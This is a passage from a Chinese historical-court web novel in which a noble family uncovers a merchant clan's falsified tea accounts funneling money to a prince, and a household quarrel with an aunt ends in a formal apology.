回到侯府,许翰又将许君安给叫过来,同时,又让人将自己的几位心腹叫至书房外等候。 “父亲,此事真假暂且不说,孙茜这里?” “她是孙家女嫁作贾家妇。我听你姑父的意思,还是想要保一保她的。我可不信孙茜是被贾家人逼迫着来找孙庆阳帮忙的。先前她在你祖母面前哭哭啼啼,就想着在酒水上掺一脚,我担心的,并不是银钱,而是这贾家人另有心思呀。” 许君安稍一动脑子,也便有了猜测:“您是担心他们想着借机安插人手进百果园?” “不是没有这种可能。现在人人皆知陛下也会饮用百果园的延年酒,一旦出事,这算是谁的责任?” 许君安点头,看来贾家人的心机颇深,那个表妹恐怕也是个糊涂蛋! “既然姑父要保孙茜,那咱们也只能是假装不知道。只要孙茜不是其中的主谋,那便怎么都好说。” 许翰说的这番话,就是在告诉许君安,只要孙茜不是主谋,但饶她一次,一旦有证据表明她全程参与了此事,就算是他们愿意饶过孙茜,陛下那里也不会答应的。 还好,至少能将孙家保住。 许翰这边安排人去查,不到三天,有关于贾家的相关资料就被送到许翰案前。 贾家世代经商,迄今已是第五代。 再往上数,那便是前朝时便落魄的官宦人家。 后来子孙们不争气,科考无望,改走商道,到现在的第五代贾家掌权人,仍然是商户。 只不过,现在的商户,和几年前已然大有不同。 孙茜嫁的并非是贾家继承人,但也是贾家掌权人的儿子,定然也是能接触到一些家族机密的。 贾家现在主要就是经营茶叶、丝绸的生意。 这两桩买卖的利润自是不小的。 在南诏那边低价购入茶叶,再请人炒制,最后高价售出,所以这利润是相当丰厚的。 只是去年,因为许昭昭和乐阳郡主的强势介入,所以南诏那边大量的好茶流入了这二人的手中,除此之外,还有其它闻风而动的勋贵子弟,或者是其它的大商户。 如此一来,在他们收波完第一批茶叶后,第二波的茶叶价格就上升了。 但是第二波的茶叶,正好就被贾家这样的商户们赶上了。 而后许昭昭又开始大力推行喝清茶,如此一来,这茶叶的品质,便不再是如以往那般糊涂的了。 尤其是那桂花红茶一出来,比其它商户所售卖的同名红茶给贬得一文不值。 所以,贾家的生意大受打击。 至于丝绸,这原本就是低产量的高档物品,而且也并非是所有的丝绸都允许流入市面上的。 所以贾家所经营的布庄里,还是以普通的棉布、麻布、葛布等为主。 丝绸价格昂贵,只有权贵富商才能买得起,至于普通老百姓,人多,但买的都是便宜布。 可是因为许君霆和王文远二人弄出来的新型织布机,一下子又把那些布商的饭碗给砸得不轻。 有头脑灵活的,或者是消息流通的,早一步就先将手里头的存货处理掉了,又或者是早早地运到外地卖掉,并不亏钱。 如今京中的普通布匹都很便宜,老百姓们津津乐道,时常有赞颂陛下圣明的诗词传出,自然就更得陛下欢喜了。 “蠢货!” 许君安看完了这上面所写的种种,对孙茜这个表妹更是厌恶。 孙茜自以为聪明,算计了贾家的郎君,可是却不知道,其实这一切都在贾家的算计之中。 以贾家的身份地位,根本就没有资格来接近侯府,但他们又不甘心,所以才会把主意打到了孙茜的头上。 也就是孙茜蠢,还天真地以为是自己计谋得逞,从而成为贾家妇。 孙茜好歹也是官宦之女,那贾家不过是商户之流,但孙茜还自以为得了便宜,故意穿金戴银地在家中招摇。 许君安抬手扶额,直到这一刻,他才能深切地体会到当初妹妹的那番说辞:厌蠢症犯了呀! “父亲,现在查到的这些,并不能直指庆王府,还得继续。” “嗯,我已经派人去庆王的封地了,而且朝廷在那里是有御史的,陛下不能随意下旨,但是咱们的人可以先动起来。” “明白。” “这贾家是商户,这里面的一些门道,咱们也不是很懂,你去请教一下昭昭,看看她可有什么好的提议。” “是,父亲。” 许君安明白父亲的意思,在去找许昭昭之前,自然是得先想办法拿到贾家的账本。 这对于普通人而言或许有些难度,但是对于许家而言,还真的挺容易的。 许君安只是让人先抓了一个贾家的账房,然后再顺藤摸瓜,拿到两本账册,之后就去找许昭昭了。 不是许君安偷懒,是这上面的东西看着就费神,最关键的是,他手下的产业里没有这两项,所以具体的价值以及损耗,他是真不懂。 所以他认为关于这茶叶以及丝绸的一些账目,妹妹兴许能看出些别的门道来。 专业的事,就得交给专业的人来看。 没毛病! 第295章 不能知道的太多 许昭昭随手翻了几页之后,就看出了问题所在。 “明面上看,这账册没有什么问题,比如说这茶叶,一个月下来的盈余在二十贯左右,这其中已经刨除了人工、运输等各方面的成本。但实际上,他们赚的远比这个要多得多。” 许君安拿过来的账册是前年的,正是因为不太懂,所以才会来找许昭昭看。 “怎么说?一个月能有二十贯的进项,这已经很不错了。而且这还仅仅只是茶叶这一项呢。” 许昭昭笑了,就知道大哥不懂这茶叶里头的门道有多深。 “大哥,若是你去茶铺里买茶叶,按什么买?” “自然是按两买。” 这茶叶都是炒制好的,而且基本上都是干茶,一两就有一小包,一个人喝的话,差不多可以喝半个月了。 “那你可知,这茶商从南诏那边购入茶叶时,是按什么算的?” 许君安还真被问住了:“按什么?” “要么论斤,要么论斗,总之,跟你想像中的差别很大。” “你的意思是说,这茶叶进来的便宜,但是售出价格高?” 许昭昭点头。 许君安倒是不觉得这有什么不对,毕竟商人嘛,肯定是重利的。 “就算如此,我觉得倒也正常,毕竟从南诏到京城,一路上车马费可不少,而且这茶叶畏水,一旦遇到了雨天,那就更倒霉,损耗上应该也会有很多。” 许昭昭笑道:“大哥倒是懂这个。” 许君安挑眉:“我不懂怎么做茶叶生意,我还不懂这基本的花销吗?” “大哥说的是,只是毕竟只是你以为。我这么说吧,我这里的桂花红茶,一两茶如今的售价已经高达十贯,仍然有人络绎不绝地来购买,就是因为市面儿上找不到跟我这款桂花红茶更好的同类茶了。但是你可知我的成本几何?” 这还真把许君安给问住了。 他哪儿知道呀! 许昭昭将自己的成本价和售出价一报出来,把许君安都吓呆了。 “这,这利润也太过丰厚了吧?” 许昭昭得意一笑:“所以才会有人说茶商的钱来得快呀!柴米油盐酱醋茶,别看不起来,但是利润相当丰厚。这茶看似受众没有那么多,但是实际上,这里面的道道多着呢。” 许君安还真没有想过这一层。 “这是前年的账册,而且按这上面所记,收茶的价格看似正常,但是实际上咱们谁也没有看到那真正的茶叶,所以不好评判,至于这售出价格,一看就知道不对。” “怎么说?” “他购茶的价格是上等茶的价格,但是售出的茶叶价格却是中等价格,这中间自然就有了差价,那么,这些差价的钱,去哪儿了?” 许君安眼珠子转悠几个来回,还真是有这种可能性。 “打个比方,这上面的购茶价格不动,但是实际上采购回来的却是下等茶,那么,从这一环开始,钱数上就已经不对了。到后面,若是这下等茶再被人唬弄一番,卖到不懂茶的外行人手里,而且还是以上等茶的价格售出,这就又有了一层差价。那么这些钱最终流向何处了?” 账册上,看似一个月赚了二十贯钱,但是实际上,仅这一项的利润,可能已经高达五十贯,甚至是更多了。 而贾家的这生意基本上都是自己家的,没有外头人掺和。 既然是自己家族的生意,那又何故要做假账? 答案,已然浮出水面。 “果然还是妹妹的眼睛毒辣,我竟是不知这其中门道,险些就要被骗过去了。” “兄长不是不懂茶,只是单纯地没有想到过市面上做生意的人,会有八百个心眼子。兄长可以安排人暗中审一审那账房先生,另外再拿钱买通几个小二来问一问,大概你就能清楚了。” “好,多谢昭昭。那我先回去了,之后若是还有什么不明白的,再来向妹妹讨教。” 许昭昭扑哧一笑:“兄长这般正经的样子,倒显得我故意摆架子了。” 许君安瞪她一眼,然后无奈一笑,摇摇头走了。 有了许昭昭的提醒,许君安这里也就有了更多的想法。 果然,这一审一问的,真相就渐渐出来了。 让许君安没想到的是,仅仅是红茶这一项,一个月的收入就被瞒报了四十贯,一年下来,便是四百八十贯。 除此之外,还有其它的茶叶、茶碎等收入,大概算下来,贾家在京城以及云阳县的几间茶行,一年下来,大概总共瞒报了利润竟然高达一千贯左右。 那可不是一千文,是一千贯! 许君安面色严肃:“父亲,目前已经有确实证据的,就是贾家一年至少会有两千贯钱流入其它人手上,除此之外,还会有一些布匹和茶叶,其价值不好估算,但都确定是流入了庆王地界内。” “你也说了,那是至少两千贯,这事不急,还得接着查。而且两千贯钱,也就是普通百姓们听着多,但是这种事搁在权贵之家中,也不算什么。到时候庆王只需要说是贾家有生意在他的封地内,需要他关照,所以这一句话就能都给说得合理了。” 许君安点头:“的确如此。” “而且庆王既然有这个心思了,那必然就不止一个贾家。咱们现在只能查贾家,其它的事情,要交给圣上去安排。毕竟,有些事,咱们知道得太多了也没有好处。” 许君安有些意外:“您是说,陛下还会再纵着庆王?” 许翰摇头,这种事,谁说得准呢? 万一庆王没有谋反之意呢? 万一这一切只是庆王身边的人在胡来呢? 说句不中听的话,就算是庆王谋反,这件事情被查实了,最后庆王被诛,那么圣上就一定高兴吗? 不管怎么说,庆王都是他的弟弟。 而且,帝王心,深不可测。 若是将来哪一日陛下后悔了,或者是又有人来给庆王申冤了,那陛下心中的怨气、怒气,往哪儿发? 陛下永远都是对的,就算错了,那也是对的! 所以,做错的,就只能是臣子。 许翰太懂这些了,所以,有些事可以知道,但是不可以知道得太多,至少,不能让陛下以为你知道的很多。 第296章 上门问罪 许昭昭虽然只是翻了几本账册,但是也已经有了大概的猜测。 所以,等晚上谢铮回来,她就顺嘴提了一句。 “孙茜是你表姐,若是贾家事发,那你表姐也难脱干系。” “我知道。但是有些事,非人力可阻止的。就好比远离京城的庆王,谁能想到,他如今竟然还敢在暗地里搞小动作呢。” 谢铮皱眉,对于这等勾心斗角之事,他的确是不怎么愿意掺和。 还是做武将更简单一些。 但是如今他在京城,方方面面总要照顾到的。 谢铮的四叔谢啸威是有官职的,但是谢啸威的妻子小林氏家中这些年一直都是以经商为主。 虽不能说完全就是商户了,但是小林氏的嫡亲兄弟们,就只有一个是有秀才功名的,余下的几个都不成,所以都以经商为主。 说是经商为主,但是实际上仍然是官宦人家,毕竟小林氏的父亲还是官身。 所以如今小林氏的兄弟们大部分也都是以下人的名义置办商铺,然后自己主要就是吃喝玩光,不读书,也不爱去管铺子。 谢铮找到谢啸威,叔侄二人在书房里先手谈一局之后,这才开始说正事。 “四叔可知道四婶婶娘家那边,与云阳贾家的关系如何?” 谢啸威一脸不解:“贾家?没听说过。你也知道,我不怎么爱跟林家人来往,就是岳父,如今也是脑子愚钝得很,很多事情都说不通。” 谢啸威所指的林家人,自然不是母亲娘家那边,而是指的小林氏的娘家人。 “四叔回头还是多关注一些吧。我听闻如今的贾家可不太平。万一让人拿到错处,到时候与贾家生意上来往频繁的林家,估计也很难撇干净。” 谢啸威神色一震:“三郎可是听到什么消息了?” 谢铮叹气:“总之不太好,别的我也不能多说。上面的意思,估计很快就要查办。四叔,也就是我顾虑到咱们是一家人,所以才冒险来提醒你一句,此事若是走漏了风声,咱们叔侄俩谁也讨不到好。” 谢铮说话的时候,朝上拱了一下手,谢啸威瞬间就明白了。 所以贾家是什么来路,怎么还被陛下给关注到了? 当然,现在的重点不是猜测贾家,而是要想法子通知岳家那边,尽快与贾家撇清干系,而且此事还要做得滴水不漏,不能让贾家察觉到任何不妥之处。 这就难办了。 “大概多久?” “不好说。先前云阳县那边有位商户在百果园采买了酒水,原本也与贾家有些来往,前两天寻了个由头,便翻脸不认人了。” 谢啸威听懂了。 能在百果园里大量采买酒水的商户,必然不一般。 不是背后有大靠山,就是这商户是哪家权贵安排出来的话事人。 所以,已经有人先一步得到消息了? 而且人家还故意做得这样不显眼,这不明摆着就是不能引人注意嘛! “多谢三郎,此事我亲自去寻岳父说清楚。” “也好,只是一定要低调,莫要再牵扯到其它人了,否则,上面那里也不好交代。” 谢啸威更加意识到了事情的严重性,二话不说,立马动身去办。 几日后,许昭昭在锦绣园里听着美人妆的两位掌柜娘子过来报账,偶尔点点头,抬眼瞥到芍药在外面徘徊后,便简单交代几句,让二位娘子回去做事。 “何事这般模样?” 芍药脸色不佳:“回主子,是谢四夫人过来了,奴婢瞧着她一身怒气,已经吩咐人奉上了茶点,不过奴婢听她嘟囔了几句,好像是在怪主子多管闲事了。” 许昭昭一脸不解,她何事多管闲事了? 再说了,如今她又不掌府中中馈,怎么也不能怨到自己头上来吧? 结果二人刚一照面,许昭昭简单行个晚辈礼便落座,小林氏便开始阴阳怪气了。 “三郎媳妇的确是厉害呀!这家里家外,样样都落不下。我也是奇了,侄媳妇虽说有本事,但是云阳这地方,没去过吧?怎的样样都能惹到侄媳妇?” 许昭昭皱眉:“四婶婶何必这样怪腔怪调?我自认嫁到国公府后,从未招惹过四房的人,更是从未对四婶婶不敬,不知您这话又是从何而来呀?” 小林氏面色一僵,原本就是仗着一层长辈身份来说话,没想到这新妇倒是丝毫不慌。 瞧着这架势,竟是比她这个嫁进来多年的长辈还要更有底气! 就因为她嫁的是谢铮? 这一刻,小林氏的心底是酸得冒泡了。 “你也不必在此遮掩。我知你与那孙茜不睦,原是表亲,按说也应该是多走动,毕竟你姑姑也只有这么一个嫡亲的女儿,可没想到你们姐妹之间竟是到了水火不容的地步。如今竟是连她嫁去的贾家也不能放过了?” 许昭昭皱眉,这话从何而起呀? 再说了,一个小小的孙茜,也值得让自己这般费心力? 许昭昭懒得与她解释,只低头喝茶,她爱说就说,不说拉倒。 小林氏见许昭昭不接腔,越发觉得自己占理。 “侄媳妇这又不说话了,这是觉得我做长辈的过来欺负你了?” 许昭昭无奈:“四婶婶自进门后便一直都是怪罪,可我实在不知何处惹恼了你。至于刚刚提到的孙茜,更是让我觉得莫名其妙,一个小小的孙茜,也值得让我分出心去关注?四婶婶这是看低了,还是高抬了她一介贾家妇?” 小林氏一怔,正好对上许昭昭那犀利的眼神,一时间竟有些手足无措。 也是此时,她才意识到,许昭昭和孙茜二人的身份差异,可以说是天差地别! 也是,孙茜不过是嫁做商人妇,如何能值得让一任县主费心? 真要是她想要针对孙茜,何需这般费事? 随便捏一条罪名,就能让孙茜再也爬不起来。 小林氏心底一突,表情讪讪道:“你,你与孙茜之间当真并无龌龊?” 许昭昭不屑道:“四婶婶这话是听哪个来嚼的舌根?孙茜是我的表姐不假,但我与她已有多时未见。况且,她嫁到云阳县了,我又从未去过,她亦未曾来国公府探望我,我怎么与其起龌龊?” 第297章 翻脸 许昭昭说的是实话,她自成亲之后,的确是未曾离开过京城,唯一的一次去百果园,也是有谢铮一路陪同的。 而现在小林氏过来就阴阳怪气一番,自然是惹得许昭昭不满。 许昭昭不是不容人的性子,她只是讨厌有些人故意这样拐着弯说话。 “是呀,你是没和孙茜接触过,但是你和孙茜有怨也不是一两天了吧?怎么着?连孙茜嫁到贾家去了,你还不想放过她?” 许昭昭眯眼,熟悉她性子的丁香立马就意识到,主子这回是真生气了。 刚刚小林氏的话,已经犯到她的底线了。 “四婶婶这般口无遮拦,是林家的教导原就如此,还是四叔对您太惯着了?” 这话是丝毫不把小林氏当长辈看了。 小林氏闻言,果然面色大变,蹭一下子站起来,浑身都充满了戾气。 “许昭昭,你好大的胆子!你,你竟然敢与我这样说话!你反了天了!我是你的长辈,你竟然敢如此羞辱我!” “人贵在自知。” 许昭昭却不慌不忙地回了四个字,之后甩袖回去了。 至于小林氏,还想着追上去跟着骂,却被紫苏给拦下,然后示意外面的人赶紧将人劝回去。 紫苏与丁香不同,紫苏是有拳脚功夫的。 就小林氏这种人,再来十个都不够她打的。 要不是因为看在她嫁的是谢四爷,估计这会儿紫苏早就一巴掌呼上去了。 有话说话,有理讲理,上来就是一通指责,这长辈当的也未免不成样子。 许昭昭甩袖离开之后,径直去了老夫人院中。 老夫人那里如今只有于氏在跟前说话,其实不过就是闲聊几句,中间偶尔提到某位姑娘的一些婚事。 “老夫人,世子夫人过来了,而且瞧着脸色不好,像是满身怒气。” 老夫人立马坐直了身子,大为意外:“可知发生了何事?” “回老夫人,只知道是刚刚四夫人去了锦绣园,再之后好像是听到四夫人在那里大喊大叫,随后世子夫人没等四夫人离开,便先一步过来了。” 于氏也有些狐疑,再一想到这个四弟妹的性子,大概有了猜测。 “母亲,许是四弟妹说话太傲气了些,惹着昭昭了。” 老夫人皱眉,护国公府的将来是在谢铮身上的,这一点毌庸置疑。 老夫人虽然是宠着四房,但也清楚孰轻孰重。 若是一些吃穿用度上,她可以宠着,但若是越了线,那老夫人也不是个糊涂的。 “给祖母请安,给二婶婶请安。” 许昭昭带着丁香进来,先行过礼,之后得老夫人允许后才落座。 “这么急匆匆地赶过来了,可是出了什么事?” 许昭昭此时的火气虽然消下去了些,但一身冷然的气息,还是不容人忽视,老夫人总要过问一二的。 许昭昭拧眉,但没急着说话。 于氏见此,便看向她身后的侍女:“你来说!” 丁香连忙站出来,先福身后,再看过小姐的眼色,这才将事情一五一十地说出来。 “回老夫人,奴婢刚刚所讲,全都是事实,未敢有半点夸张的成分。当时厅堂内也不止奴婢一人伺候,您可再召其它人过来审问。” “知道了,我还能信不过你嘛,退下。” 丁香再度回到许昭昭身后。 如今许昭昭缓了一会儿,这脸色也好看一些了。 “今日之事,的确是老四媳妇不对。昭昭呀,你年轻,又是侯门贵女出身,别跟她一般见识,她就是个混不吝的,说话不带脑子。” 老夫人这话看似是在偏帮许昭昭,但实际上也是在维护着小林氏。 无非就是希望许昭昭能大事化小,小事化无,免得再让她们之间起龌龊。 “祖母,您的意思孙媳都懂。正如您所说,我是安信侯府出身,自小被母亲亲自教导规矩礼仪,自然知道什么能说什么不能说。且不说我与表姐多时没有来往,便是真有了,我真做了什么,又碍着四婶婶什么事了?况且,四婶婶上门来就鼻子不是鼻子眼睛不是眼睛的一通指责,这是想要做什么? 我许昭昭平时不爱出门,不爱理会一些琐事杂务,但不代表了我就是个好欺负的。四婶婶仗着是长辈,闯到园子里对我便是一通指责辱骂,当时园子里离得远的近的下人们多了去,哪一个没听到?若非是因为我顾着三郎的颜面,我岂能由着她来这般作践我?” 话到此处,许昭昭的眼眶也红了,说话中已带了几分哽咽。 于氏也明白,这件事定然是小林氏做错了。 许昭昭没惹她,你说这小林氏是不是脑子有病! 老夫人也被架在这里了。 小林氏今日的言行,的确是多有不妥。 就凭谢啸威如今的身份,也就只能是占着一个长辈的名头了。 论官职,他不及谢铮,论功劳,那是半分也无。 若真要是较起真来,谢啸威和小林氏见到许昭昭都得行礼的! 许昭昭可是正二品的县主! 这个小林氏,她是疯了不成,竟然敢跑到锦绣园去辱骂县主,这若是被外头的言官们听到了,少不得就是一通弹劾。 “此事的确是你四婶婶做得太过了。来人,传我的话,谢四夫人行事不周,言语不当,禁足一月,没我的吩咐,不得她出院门一步!” “是,老夫人。” 于氏见许昭昭仍未消怒,便连忙补了一句:“老夫人的意思是让她禁足在自己院中。另外,你也将她手中的对牌钥匙账册一并取回来,暂时交到我这里。” 婆子没急着应,看到老夫人点头,这才应下,去吩咐了。 “好了,昭昭,这件事情的确是你受委屈了。我们也都瞧着呢,刚刚老夫人也都为你做主了,你也莫要太生气。” 当着院子里的下人,就这般辱骂侄媳妇,小林氏这作法的确是欠妥。 老夫人想到若是此事被谢铮知道,少不得又是一番闹腾。 但是闹成这样,她也实在没法儿阻止许昭昭告状,没脸张这个嘴呀! “来人,去公廨盯着,四老爷下衙后,即刻让他回来见我。” 无奈之下,老夫人也只能是想法子再罚老四一回,要不然如何平息孙子孙媳的怒火? 第298章 赔罪 谢啸威在回来的路上就听说此事,一时间也是急得不行。 他原本还想着好好谢谢侄媳妇呢,哪成想自己那个不成器的婆娘竟然在背后捅刀子了。 谢啸威气得直骂人。 “不指望她能有多大出息,但是至少别跟着添乱呀!现在弄成这样,如何收场!” 谢啸威都要气死了。 被老夫人叫到跟前,少不得就是先罚跪,再问话。 好在老夫人也给他几分面子,没有旁人在,要不然谢啸威觉得自己这个年岁了还要被老娘敲打,真是丢脸丢大发了。 “这事儿原本就是那泼妇不对。母亲,此事涉及到外头的一些事,恕儿子不能与您明言,但此事当是我谢谢侄媳才是。而且林家与贾家之间的生意不成,那也是岳父拍的板,跟侄媳妇有什么关系? 我也不知道那蠢妇是不是听了外人的挑唆,总之此事全是我们的过错。侄媳妇会生气也是应该的,人家前脚刚帮了我们,后脚就被人咬一口,这不是妥妥的白眼儿狼嘛!” 谢啸威的话虽然说得不清不楚,但是老夫人也明白这一次是小林氏错得离谱了。 应该是许昭昭得了什么信儿,然后三郎顾念着都是一家人,才给老四那里透了口风,没想到小林氏却把人家的恩情给当成仇了! 果然,这小林氏就是被宠坏了,一点脑子没长。 “这件事你看着处置吧。三郎媳妇那里的确是受了委屈。唉,人家是什么身份?自小到大,在侯府都是要风得风,要雨得雨的。便是陛下那里她都能说得上话,你说说今日平白无故地就被你媳妇指着鼻子责骂一通,这叫什么事!” 谢啸威也是觉得这事难办。 许昭昭出身侯府,虽是嫁到国公府来,却是算不得高嫁的,人家靠自己的本事挣个县主的位分,就足见其能耐。 偏偏有小林氏这么糊里糊涂地就上门把人给得罪了。 “儿子回去先备些赔礼吧。另外,儿子会让那蠢妇登门道歉的。” “嗯,道歉是肯定的,回去跟你媳妇说,也别觉得自己是个长辈就拉不下脸来。许昭昭那样的人,可不是寻常的内宅妇人。真惹急了她,不认你这个长辈,便是到了御前她都能占着理。” 谢啸威明白母亲的提点,连连应是。 当天晚上,四房就传来激烈的争吵声,另外,还有小林氏不停的哭泣声。 当然,出了四房的院子,外人可听不到。 小林氏也没想到,自己原本是为娘家站台的,结果却被夫君给狠狠地责备一通,还要让她亲自登门道歉。 小林氏心里委屈极了。 她也没说什么太过分的话呀,怎么就惹着这位煞星了。 小林氏一直不觉得自己哪里做错了,她是长辈,便是骂许昭昭几句又如何? 她不仅觉得自己没错,反而还觉得国公府的人都太把许昭昭当回事了。 不就是有个县主的名头嘛,那又如何? 说到底也是女眷,不能上朝堂不能上战场的,怎么全家还要看她的脸色行事了? 想想都觉得憋屈! 再次来到锦绣院,小林氏这回竟是有心思左看右望了。 昨日来得匆匆,一门心思找许昭昭算账要说法,都没顾得上仔细打理这院子。 她刚嫁过来的时候,这里就只有谢铮一个人住了,那会儿谢铮虽然还是个小孩子,但小林氏总共也就来过一两回。 那会儿并不觉得这院子有什么好的,虽然大,但是处处都透着荒凉破败的感觉。 小林氏那会儿年轻气盛,总觉得一个小孩子住在这里,有一种不得体的感觉。 一直到谢铮大婚前,她也没有来过这里,毕竟谢铮都已经是成年男子了,她是四婶婶,应该知道避讳。 所以这院子里的一些安置和修葺,基本上都是谢铮的手下人做的。 再后来,倒是于氏来过两三回,都是给他置办东西。 成亲那日,小林氏倒是来过,不过那会儿到处都是披红挂彩的,能瞧出几分喜庆来,但还是觉得一般。 可今日再来,就觉得不一样了。 进入院子,绕过一片由翠竹而形成的天然影壁,映入眼帘的是一座气势恢宏的院子。 青石铺就的甬道笔直延伸,两侧是雕栏玉砌的回廊,廊下悬挂着鎏金宫灯,灯影摇曳间,映照出廊柱上精美的纹饰。 庭院中央是一座巨大的汉白玉莲花池,池中锦鲤游弋,若是在盛夏,必然是能看到荷花盛开且水面铺满了翠绿色荷叶的景象,可惜,现在是看不到的。但是那平静又清澈的水面,在阳光下闪烁着微光,光是这么看着,就觉得舒畅。 池边假山叠翠,奇石嶙峋,山间点缀着几株苍劲的古松,松针如翠,随风轻摆,再往前看,还有几株玉兰树,只可惜此刻是看不到花朵,只有光秃秃的枝丫。 一墙之隔,小林氏知道那边自己不能去,那是谢铮的书房和练武场。 远处,一座飞檐翘角的楼阁巍然矗立,琉璃瓦在阳光下熠熠生辉,檐角悬挂的铜铃随风轻响,清脆悦耳。整个院子弥漫着一股淡淡的檀香,仿佛置身于仙境之中。 那处楼阁,便是许昭昭如今的居所,昨日小林氏过来,根本就不曾被邀请至那里说话,只是在院子的前厅稍坐了片刻,还惹下大乱子。 这会儿,谢啸威走在前面,小林氏紧随其后,再后面跟着的便是几个丫环婆子,手上都捧着盒子,抬着箱子,这些都是给许昭昭准备的赔罪礼。 谢啸威也没想到,撤了红绸的锦绣院,竟然这般漂亮好看。 谢铮没在,谢啸威身为男性长辈,自然不好再往后面走。 许昭昭出来之后,谢啸威先放下身段,表明来意。 “都是你婶婶说话不过脑子,也是受了别人的挑拨,还望侄媳能宽宏大量,原谅她一回。我在这里向你保证,若是她下次再犯,定不轻饶!” 许昭昭浅笑:“四叔叔这话就过了。您二位是长辈,能过来跟我道个歉,已然是我占了便宜。至于昨日之事,便如这轻烟,遇风则散。” 第299章 即刻进京 小林氏只说了两句话,就被谢啸威带着离开了。 主要是谢啸威太了解这个妻子了,现在能好好说话,兴许一会儿就会翻脸。 而且既然侄媳妇都说无碍了,那么他们也没必要一直留在这里,万一再遇上谢铮了,那才叫麻烦。 不过小林氏回去的时候,还是嘀咕了一句:“我记得三郎成亲时,那株石榴树也没有这么大呀,怎么感觉一下子长高了不少?” 小林氏可不是错觉。 事实上自打许昭昭成亲后,这院子里所有的植物基本上都比以前茂盛,也比以前长得高壮了些。 可能是因为许昭昭异能的缘故,所以她天然就喜欢亲和大自然,更喜欢绿植多一些,或者是茂盛一些的地方。 所以,她自住进来之后,闲来无事,便会给这里的花草树木喂一些异能。 一天一点点,不过月余,这些绿植们就已经长得特别好了。 在这里伺候的下人们,因为是天天守着,所以还真没有察觉出来。 倒是像小林氏这等一个多月才来一回的人,自然就能察觉到不对劲。 但是这种不对劲,又好像是自己的错觉。 因为小林氏觉得那石榴长高了,但是又注意到离石榴树不远的那株玉兰树和石榴树之间的那个高度差好像也没变。 所以,她也不确定,到底是不是石榴树长高了。 这就很有意思了。 因为是无差别喂养异能,所以这院子里所有的绿植都长了,那么,如果只记得以前的那个高度差的人,则会觉得这院子里的花草树木都长得好,不会觉得是某一棵植物长高了。 至于同样住在这里的谢铮,他是根本就不关注这些,所以长不长高的,他是压根儿不知道。 小林氏之所以找许昭昭来闹,无非就是因为觉得父亲放话出来,不许再与贾氏有来往,更是督促着家中小辈们读书上进,甚至还给几位小辈下了禁足令。 小林氏的几个兄弟子侄中,自然也有脑子不清楚的,就觉得这是许昭昭在肆意报复孙茜,从而带累的林家也不能多添些进项了。 话传到小林氏这里,自然就又变了味儿,好像是许昭昭仗着国公府的势,故意打压自己的表姐,当真是无情无意。 正是因为小林氏头脑简单,所以这一次才会被人当枪使了。 昨晚上谢啸威对她好一顿教训,将事情掰开了揉碎了说与她听,才算是勉强明白是自己冤枉许昭昭了。 但是冤枉就冤枉了,自己是长辈,那许昭昭敢对自己甩脸子,而且还出言不敬,怎么着也该是许昭昭来向她请罪。 可没想到,还是自己过来赔罪道歉。 不仅如此,小林氏手上的部分管家权还被收回去了。 这次来了一趟锦绣院,回去之后就要被禁足。 小林氏真是悔得肠子都青了。 早知道会这样,她说什么也不会去找许昭昭闹的。 但是世上哪有后悔药可以吃呀! 许翰带着自己查到的东西呈报御前,站在下面,头微低着,真是大气儿都不敢出呀。 光是贾家这一户,茶叶、布匹、丝帛等生意上,每年至少有八千贯送往庆王府。 除此之外,贾家前些年大量购置田产,而其田庄上所出,约有六成不知所踪。 据许翰查到的消息,是被运往了庆王的封地,但是具体是不是进了庆王府,这个就不好查了。 毕竟时间上太久了些。 光是贾家,一年就至少有八千贯铜钱送往庆王府,由此可见,庆王的敛财手段是有多高明。 关键是那些粮食呢? 庆王自己有封地,有食邑,那么,他还要这么多额外的钱财和粮食做什么? 答案,几乎已是呼之欲出。 “许木头,你怎么看?” 许翰撇一下嘴,这种事,他怎么说都不对。 “回禀陛下,依臣之见,还是当派人去往封地查实。无论贾家背后的靠山是不是庆王,都得弄清楚了。若不是,那咱们也得还庆王一个清白。若是,他身为亲王,理当对此做出解释。” 永安帝叹气,他自认对这个弟弟已经格外开恩了。 毕竟只是一个庶弟,如果不是因为先皇留下的子嗣不多,他又怎会这般宽容? 说到底,他还是顾虑着名声。 “那依你之见,派何人去查实才妥当?” “臣不知,臣就是一武将,查案这种事,臣不擅长,但是刑部、大理寺的诸位大人们都擅断案,臣以为陛下可以传诏他们问话。” “你呀!朕也没说让你去,你慌什么!” 许翰一脸委屈:“陛下,臣没慌,臣就是觉得这种大事,您问臣一个粗人做什么?还是应该将几位宰相请来才对。” 永安帝一脸嫌弃:“行了,下去吧!” “臣告退。” 许翰巴不得呢。 他可不敢再掺和这事了。 要不是因为牵扯到了孙茜,他甚至是连贾家都不愿意查的。 如今好歹算是有了交代,自己可以回去喝酒打拳了。 此等大事,永安帝自然只会将自己的心腹重臣叫来。 虽然朝堂上看似没有什么变化,但是谢铮能明显感觉到宫中的气氛有些紧张了。 永安帝思来想去,还是把自己的女婿派出去了。 宁朔公主的驸马崔冲,正好可以去办此事。 永安帝下旨命庆王即刻进京,这样紧迫的旨意,往往就代表了某些不确定性。 崔冲去传旨,当然,还带着几千的兵马。 其警告意味已然很明显。 庆王也没想到,自己苟了多年,且一直低调,但还是被发现了。 庆王接旨后,自然也表示安顿好府中事务,便随驸马一同进京。 崔冲办事倒是很利落:“还请王叔莫要让小辈为难,最多半个时辰,我们就要启程。” “好,有劳崔大人稍候,我去与王妃和几位子女道个别,再将府内的一些事情安排下去便是。” 就算是即刻启程,也总得让庆王准备一些换洗的衣物,所以这个要求不算太过分。 等到庆王换了一身常服再出来时,属于亲王的仪驾也都摆出来了。 圣上一日未曾降罪,那他就还是一日的亲王。 所以,这仪仗排场,不能丢。 第300章 雷霆万钧 庆王因为仪仗的原因,再加上他中途又开始生病、挑剔等等,这就导致他们出发了半个月,但是才走了不到全程的一半。 这可绝对不行。 崔冲是驸马,同时也是一名臣子,不同的是,他走的是文臣的路子。 大兴,其实很多时候文武臣分得并不是那么明确。 比如说信宁侯崔玄正,他既是文臣,也是武将,无论是哪方面,都极得永安帝看重,不然,也不会将自己的女儿宁朔公主许配给他的儿子崔冲。 崔冲年纪虽然不大,但是他身边跟着两个手下,都是曾在崔玄正手下做事的。 “大人,属下瞧着不妙呀。这庆王应该是在故意拖延回京的时间,咱们应该早做打算。” 的确是不对劲。 崔冲安排一名亲卫直接快马加鞭进京,同时,又开始削减庆王这里的一应配比。 庆王自然不同意。 “本王是亲王爵,崔冲,就算你是驸马,那也得唤我一声叔叔,你竟然敢对长辈不敬,对亲王不敬!” “王爷,下官也是皇命在身,还请您体谅一二。若是您再拖延,那就休怪我不客气了。” 